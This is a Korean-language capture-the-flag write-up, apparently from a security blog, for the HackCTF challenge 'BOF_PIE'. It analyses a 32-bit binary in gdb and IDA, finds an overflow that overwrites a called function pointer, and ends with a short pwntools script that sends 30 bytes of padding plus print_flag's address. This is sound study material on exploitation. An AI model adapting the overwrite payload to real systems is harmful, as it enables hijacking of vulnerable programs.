file 명령어로 문제 파일을 확인해보면 32비트 리눅스 실행파일임을 확인할 수 있다.

프로그램을 실행시키면 다음과 같이 입력을 받고 끝난다.

gdb에서 checksec명령으로 적용된 보호기법을 보면 NX, PIE, RELRO보호기법이 적용된 것을 확인할 수 있다.

info func명령으로 함수 목록을 확인하면 다음과 같다.

작성된 함수는 two, print_flag, one, select_func, main 함수 인 것 같다. 

위 함수들을 IDA 헥스레이로 확인하면 다음과 같다.

최종적으로 실행해야 할 함수는 flag.txt를 읽어오는 print_flag()함수인 것 같다.

main 함수에서는 문자열을 입력받고 있고, 입력받은 문자열을 인자로 하여 select_func()함수를 실행하고 있다. 

select_func함수에서는 인자로 받은 문자열이 "one"이면  one함수를 실행한다. 

실제로 바이너리를 실행하고 one을 입력하면 one함수가 실행됨을 확인할 수 있다.

gdb로 select_func함수를 보면 다음과 같다.

select_func+85를 보면 call로 eax를 호출하고있다. select+85에 bp를 걸고 실행하면 다음과 같다.

eax레지스터에 저장된 값은 다음과 같다.

현재 스택에서 입력한 값의 위치와 eax에 저장된 0x56555600의 위치는 다음과 같다.

입력값 시작점과 eax에 저장된 값의 위치는 30바이트 차이나기 때문에 입력값에 30을 넣고 print_flag함수의 주소를 넣으면 될 것 같다. print_flag의 주소는 0x000006d8이다.

파이썬 익스 코드를 작성하고 실행하면 다음과 같다.

from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3007)
p.recvuntil('Which function would you like to call?')

flag_addr = p32(0x000006d8)
pay = 'A'*30 + flag_addr

p.sendline(pay)
p.interactive()

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] BOF_PIE  (0) 2021.06.01
[LoS] golem  (0) 2021.05.19
[HackCTF] Simple_Overflow_ver_2  (0) 2021.05.10
[Hack CTF] x64 Simple_size_BOF  (0) 2021.04.25
[Hack CTF] x64 Buffer Overflow  (0) 2021.04.23

+ Recent posts